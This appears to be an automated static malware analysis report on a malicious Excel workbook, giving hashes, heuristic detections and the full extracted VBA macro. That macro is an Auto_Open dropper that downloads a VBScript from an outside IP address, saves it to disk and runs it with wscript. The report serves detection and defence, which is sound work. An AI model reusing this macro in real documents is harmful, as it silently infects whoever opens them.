Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e61865b3a3e8163e…

MALICIOUS

Office (OOXML)

13.7 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-01-11
MD5: 7fbaaaa5a9edcaac7cfbd6296809481e SHA-1: 645960dbd635d0d7a8fadd9b423cc7cd53ca82ee SHA-256: e61865b3a3e8163e87e1b802950b17b87580e077db88c65f89ed432e4d4fb910
230 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "wscript sys_info.vbs", vbNormalFocus
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            .write xHttp.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://185.243.215.213/sys_info.vbs Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1058 bytes
SHA-256: 9081a87fcef0677730be5e00034bfefffb747795cdb58e6469e8cf6897b93f41
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()
    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
    Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
    xHttp.Open "GET", "http://185.243.215.213/sys_info.vbs", False
    xHttp.Send

    With bStrm
        .Type = 1
        .Open
        .write xHttp.responseBody
        .savetofile "sys_info.vbs", 2
    End With

    Shell "wscript sys_info.vbs", vbNormalFocus
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 14848 bytes
SHA-256: b6c49bc58cbab443d19b2d0977ddee0021cd7e76b11a4d497bce854c989f70a6

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